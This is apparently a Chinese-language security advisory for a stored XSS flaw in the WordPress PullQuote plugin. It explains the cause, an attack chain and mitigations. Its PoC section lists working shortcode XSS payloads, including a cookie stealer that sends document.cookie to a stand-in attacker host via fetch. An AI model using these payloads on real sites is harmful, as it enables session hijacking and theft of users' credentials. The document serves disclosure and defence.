CVE-2025-13903 CVSS 6.4 中危

CVE-2025-13903 WordPress PullQuote插件存储型XSS漏洞

披露日期: 2026-01-09

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-13903

漏洞类型

存储型XSS (Stored Cross-Site Scripting)

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress PullQuote plugin

漏洞概述

CVE-2025-13903是WordPress PullQuote插件中的一个存储型跨站脚本(XSS)漏洞。该插件用于在WordPress文章中创建引用样式，其pullquote短代码在所有版本直到1.0版本都存在安全缺陷。漏洞的根本原因在于对用户提供的属性参数缺乏足够的输入清理和输出转义。攻击者利用此漏洞可以通过在pullquote短代码中注入恶意JavaScript脚本，当其他用户访问包含恶意代码的页面时，脚本将在受害者浏览器中执行。由于是存储型XSS，恶意脚本会永久保存在服务器端，影响所有访问该页面的用户。攻击者只需具备贡献者(contributor)级别或更高的权限即可实施攻击，这在WordPress多用户博客环境中尤其危险。攻击成功可能导致会话劫持、敏感信息窃取、管理员权限滥用等严重后果。

技术细节

漏洞存在于PullQuote插件的core.php文件第12行附近，当处理pullquote短代码时，插件直接使用用户提供的属性而未进行适当的安全过滤。WordPress的add_shortcode()函数在注册短代码时，插件应该使用esc_html()、esc_attr()或sanitize_text_field()等函数对用户输入进行清理和转义。然而该插件直接输出用户控制的属性值到HTML中。攻击者可以通过构造如下短代码注入恶意脚本：[pullquote align='center' quote='<img src=x onerror=alert(document.cookie)>']。当页面渲染时，未转义的HTML会被浏览器执行。CVSS 3.1评分6.4(中危)，攻击向量为网络，认证要求低权限(贡献者级别)，无需用户交互即可触发。由于影响范围覆盖所有使用该插件的页面，且为存储型漏洞，持久化威胁较高。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标网站使用WordPress CMS，并确认安装了PullQuote插件版本<=1.0

STEP 2

步骤2: 获取访问权限

攻击者获取WordPress账号，具备贡献者(contributor)级别或更高权限

STEP 3

步骤3: 构造恶意短代码

攻击者构造包含XSS payload的pullquote短代码，如[pullquote quote='<script>恶意脚本</script>']

STEP 4

步骤4: 发布含毒内容

攻击者在文章或页面中插入恶意短代码并发布，payload被存储到数据库

STEP 5

步骤5: 等待受害者访问

当其他用户(管理员、编辑、访客)访问包含恶意代码的页面时，XSS payload在浏览器中执行

STEP 6

步骤6: 窃取敏感信息

恶意脚本可窃取cookie、会话令牌、用户凭据等敏感信息，或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- WordPress PullQuote Plugin XSS PoC -->
<!-- Requires contributor-level access or higher -->

<!-- Basic XSS PoC -->
[pullquote align='left' quote='<script>alert("XSS")</script>']

<!-- Image onerror XSS PoC -->
[pullquote align='center' quote='<img src=x onerror=alert(document.cookie)>']

<!-- SVG XSS PoC -->
[pullquote align='right' quote='<svg onload=alert(document.domain)>']

<!-- Event handler XSS PoC -->
[pullquote align='none' quote='<body onload=alert(document.referrer)>']

<!-- Stored Cookie Stealer PoC -->
[pullquote align='left' quote='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>']

影响范围

PullQuote plugin <= 1.0 (all versions)

防御指南

临时缓解措施

立即禁用或删除PullQuote插件，直到官方发布安全更新。如果必须使用该插件，可临时在functions.php中添加过滤器清理pullquote短代码的输出，但建议优先考虑使用其他安全的替代插件或等待官方修复。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表